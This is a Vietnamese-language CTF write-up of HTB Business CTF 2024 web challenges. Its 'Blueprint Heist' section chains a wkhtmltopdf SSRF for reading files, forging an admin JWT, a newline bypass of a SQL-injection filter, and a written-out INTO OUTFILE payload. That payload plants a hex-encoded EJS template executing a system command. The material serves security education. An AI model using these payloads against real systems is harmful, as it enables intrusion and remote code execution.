---
# System prepended metadata

title: Writeup - HTB Business CTF 2024 The Vault Of Hope
tags: [writeup]

---

# Jailbreak (easy)

![image](https://hackmd.io/_uploads/Sy_ODp6QR.png)


Bài này thì có lỗ hổng XXE trong thẻ `<Version>` tại phần update configuration file in the appropriate format (XML)

![image](https://hackmd.io/_uploads/SJtIFTaX0.png)


Exploit:

![image](https://hackmd.io/_uploads/HJnMP6pXC.png)

# Blueprint Heist (medium)
#### Skills Required
- Basic Knowledge of NodeJS
- Identification of Vulnerable Software
- Basic Knowledge of SQL
- Basic Knowledge of Graphql

#### Skills Learned
- Weak Regex Bypass
- Source Code Analysis
- File Write using SQL Injection
- EJS Code Execution

#### Goal: RCE

## Recon

![image](https://hackmd.io/_uploads/B1IxbcBVR.png)

Trang web cung cấp 2 element, mỗi khi click vào thì sẽ tải một report tương ứng dưới dạng pdf

![image](https://hackmd.io/_uploads/rkN23cS4A.png)

Thử dùng burp suite để bắt lại xem request như thế nào: 

```
POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjEwMTIxMn0.txaQmg0u7pee-_CaxRd_PSa0GKwBG2F4SAcabnv2twM HTTP/1.1
Host: localhost:1337
Content-Length: 64
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://localhost:1337
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

url=http%3A%2F%2Flocalhost%3A1337%2Freport%2Fenviromental-impact
```

![image](https://hackmd.io/_uploads/rkCE6qrNC.png)

Tại phần response thì ta thấy được pdf được gen ra bới `wkhtmltopdf 0.12.5`.

Như cách thường làm khi thấy version của một ứng dụng bất kì thì ta sẽ thường search xem thử coi có CVE hay lổ hổng nào không.

Kết quả là có:

![image](https://hackmd.io/_uploads/HJsGC5B40.png)

Tại version 0.12.5 có lỗ hổng SSRF cho phép ta đọc file bất kì của hệ thống

Và mình tìm được một poc khá hữu ích : https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/

![image](https://hackmd.io/_uploads/rJ9ORcSN0.png)

poc này sử dụng redict(chuyển hướng) để khai thác

Đầu tiên chúng ta sẽ sử dụng ngrok để public port `8080` ra ngoài bằng cầu lệnh `ngrok tcp 8080`

![image](https://hackmd.io/_uploads/HJ64yiH4A.png)

Sau đó ta sẽ khởi tạo một server lắng nghe tại port 8080

![image](https://hackmd.io/_uploads/SkLlxirNC.png)

Dùng burpsuite thử lại với tham số url thành đường dẫn ngrok kết hợp với payload đọc `/etc/passwd`

![image](https://hackmd.io/_uploads/BktJeoHN0.png)

Kết quả ta đã leak được thành công `/etc/passwd`

![image](https://hackmd.io/_uploads/HkUYljrN0.png)

## Phân tích source code

Đây là file index.js

<details>
<summary>index.js</summary>
    
```javascript    
const express = require("express");
const bodyParser = require("body-parser");
const path = require("path");
const { renderError, generateError } = require("./controllers/errorController");
const publicRoutes = require("./routes/public")
const internalRoutes = require("./routes/internal")

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.set("view engine", "ejs");
app.use('/static', express.static(path.join(__dirname, 'static')));

app.use(internalRoutes)
app.use(publicRoutes)

app.use((res, req, next) => {
  const err = generateError(404, "Not Found")
  return next(err);
});

app.use((err, req, res, next) => {
  renderError(err, req, res);
});

const port = 1337;
app.listen(port, '0.0.0.0', () => {
  console.log(`Server is running on http://localhost:${port}`);
});
```
</details>

Nhìn vào thì ta có thể thấy được source bao gồm 2 routes chính là `publicRoutes` và `internalRoutes`

`publicRoutes` thì không có gì quá đặc biệt, cơ bản thì lúc đầu ta đã test hết chức năng của nó rồi. Vậy điều ta quan tâm là `internalRoutes`
<details>
<summary>internal.js</summary>

```javascript    
const express = require("express");
const router = express.Router();

const { authMiddleware } = require("../controllers/authController")

const schema = require("../schemas/schema");
const pool = require("../utils/database")
const { createHandler } = require("graphql-http/lib/use/express");


router.get("/admin", authMiddleware("admin"), (req, res) => {
    res.render("admin")
})

router.all("/graphql", authMiddleware("admin"), (req, res, next) => {
    createHandler({ schema, context: { pool } })(req, res, next); 
});

module.exports = router;
```
</details>

Ở internal route thì gồm 2 API:

- GET `/admin` return ra page admin
- `/graphql` (GET hoặc POST đều được): thực hiện truy vấn sql, trước khi truy vấn thì phải thông qua một lớp filter `authMiddleware` được gọi từ `/controllers/authController`

<details>
<summary>authController.js</summary>

```javascript    
const jwt = require('jsonwebtoken');

const { generateError } = require('../controllers/errorController');
const { checkInternal } = require("../utils/security")

const dotenv = require('dotenv');
dotenv.config();

const secret = process.env.secret

function verifyToken(token) {
    try {
        const decoded = jwt.verify(token, secret);
        return decoded.role;
    } catch (error) {
        return null
    }
}

const authMiddleware = (requiredRole) => {
    return (req, res, next) => {
        const token = req.query.token;

        if (!token) {
            return next(generateError(401, "Access denied. Token is required."));
        }

        const role = verifyToken(token);

        if (!role) {
            return next(generateError(401, "Invalid or expired token."));
        }

        if (requiredRole === "admin" && role !== "admin") {
            return next(generateError(401, "Unauthorized."));
        } else if (requiredRole === "admin" && role === "admin") {
            if (!checkInternal(req)) {
                return next(generateError(403, "Only available for internal users!"));
            }
        }

        next();
    };
};

function generateGuestToken(req, res, next) {
    const payload = {
        role: 'user'
    };

    jwt.sign(payload, secret, (err, token) => {
        if (err) {
            next(generateError(500, "Failed to generate token."));;
        } else {
            res.send(token);
        }
    });
}

module.exports = {authMiddleware, generateGuestToken}
```
</details>

Từ file `authController.js` ở phía trên thì ta xác nhận được 2 điều

1. user role phải là "admin", secret để xác thực `verifyToken` ở tại  `/app/.env` -> **Chúng ta thể leak được secret thông qua lổ hổng SSRF -> đọc file bất kì bằng `wkhtmltopdf v0.12.5`**
2. ip phải là localhost
![image](https://hackmd.io/_uploads/ByMNq2BNA.png)
**-> Điều này có nghĩa là ta cũng phải lợi dụng lổ hổng SSRF của `wkhtmltopdf v0.12.5` để bypass**

Nếu các bước trên thành công ta sẽ thực hiện được truy vấn graphql

<details>
<summary>schema.js</summary>

```javascript 
const { GraphQLObjectType, GraphQLSchema, GraphQLString, GraphQLList } = require('graphql');
const UserType = require("../models/users")
const { detectSqli } = require("../utils/security")
const { generateError } = require('../controllers/errorController');

const RootQueryType = new GraphQLObjectType({
  name: 'Query',
  fields: {
    getAllData: {
      type: new GraphQLList(UserType),
      resolve: async(parent, args, { pool }) => {
        let data;
        const connection = await pool.getConnection();
        try {
            data = await connection.query("SELECT * FROM users").then(rows => rows[0]);
        } catch (error) {
            generateError(500, error)
        } finally {
            connection.release()
        }
        return data;
      }
    },
    getDataByName: {
      type: new GraphQLList(UserType),
      args: {
        name: { type: GraphQLString }
      },
      resolve: async(parent, args, { pool }) => {
        let data;
        const connection = await pool.getConnection();
        console.log(args.name)
        if (detectSqli(args.name)) {
          return generateError(400, "Username must only contain letters, numbers, and spaces.")
        }
        try {
            data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
        } catch (error) {
            return generateError(500, error)
        } finally {
            connection.release()
        }
        return data;
      }
    }
  }
});

const schema = new GraphQLSchema({
  query: RootQueryType
});

module.exports = schema;
```
</details>

Từ file `schema.js` phía trên chúng ta dễ dàng thấy được lổ hổng SQL injection xảy ra tại `getDataByName`, nhưng ở đây có một hàm `detectSqli` thông qua regex

![image](https://hackmd.io/_uploads/HyW3ihHEC.png)

Sử dụng trang regex101: https://regex101.com/ để phân tích 

![image](https://hackmd.io/_uploads/HJqH33BV0.png)

Để ý góc bên phải ghi rằng `matches any character (except for line terminators)`

Có nghĩa là khi xuống dòng khác thì nó sẽ không kiểm tra nữa, vậy thì chúng ta có thể bypass nó bằng kí tự `\n`

![image](https://hackmd.io/_uploads/SJ2Th2HNC.png)

Và từ nãy giờ còn một điểm khá đáng ngờ mà ta chưa để cập đó chính là render template error

<details>
<summary>errorController.js</summary>

```javascript  
const fs = require('fs');
const path = require('path');

function generateError(status, message) {
    const err = new Error(message);
    err.status = status;
    return err;
};

const renderError = (err, req, res) => {
    res.status(err.status);
    const templateDir = __dirname + '/../views/errors';
    const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error"
    let templatePath = path.join(templateDir, `${errorTemplate}.ejs`);

    if (!fs.existsSync(templatePath)) {
        templatePath = path.join(templateDir, `error.ejs`);
    }
    console.log(templatePath)
    res.render(templatePath, { error: err.message }, (renderErr, html) => {
        res.send(html);
    });
};

module.exports = { generateError, renderError }
```
</details>
    
Ở đây thì server sẽ kiểm tra xem status code của lỗi trả về là bao nhiêu, sau đó thực hiện render template lỗi dựa trên status code trả về, nếu không có template được tạo sẵn cho status code đó thì mặc định nó sẽ gọi `error.ejs`
    
Và đây là tất cả template được tạo sẵn
    
![image](https://hackmd.io/_uploads/rJkDxaH40.png)

Ta có thể thấy nó thiếu vài status code không được render như 404,403
    ![image](https://hackmd.io/_uploads/rk-MW6B4A.png)
    
![image](https://hackmd.io/_uploads/r1oVWpB4A.png)


Vậy ở đây ta có thể lợi dụng được gì không?
Câu trả lời là có, nếu ta có thể ghi được file `404.ejs` hoặc `404.ejs` với nội dung tùy ý. Chúng ta có thể thực hiện RCE thông qua các file này.
    
Và ghi file thì chúc ta hoàn toàn có thể lợi dụng lổ hổng SQL injection để ghi một file tùy ý.
    
Từ đây attack chain sẽ như sau:
1. Leak secret thông qua SSRF, để tạo token giả mạo admin
   ![image](https://hackmd.io/_uploads/HJeGIpS4R.png)
Kết quả
    ![image](https://hackmd.io/_uploads/H1cV86H4C.png)
Giả mạo token admin
    ![image](https://hackmd.io/_uploads/SkypL6SEA.png)


2. Thực hiện SQLi để write file 404.ejs
    payload: `http://127.0.0.1:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYxMDEyMTJ9.Txb6V1EKfq3zHUEpJVN1ohfVyEPA5uinhYKdEe-Wn_4%26query={getDataByName(name:"John\n'+union+select+null,0x3c253d2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328272f72656164666c6167272920253e,null,null+into+OUTFILE+'/app/views/errors/404.ejs'--+-"){name,department,isPresent}}`
    Kết quả:
    ![image](https://hackmd.io/_uploads/BkWTsaHVC.png)

3. Truy cập một routes không tồn tại
4. Got code execution via SSTI

    ![image](https://hackmd.io/_uploads/SJQZnaSVA.png)

Done!!!
    



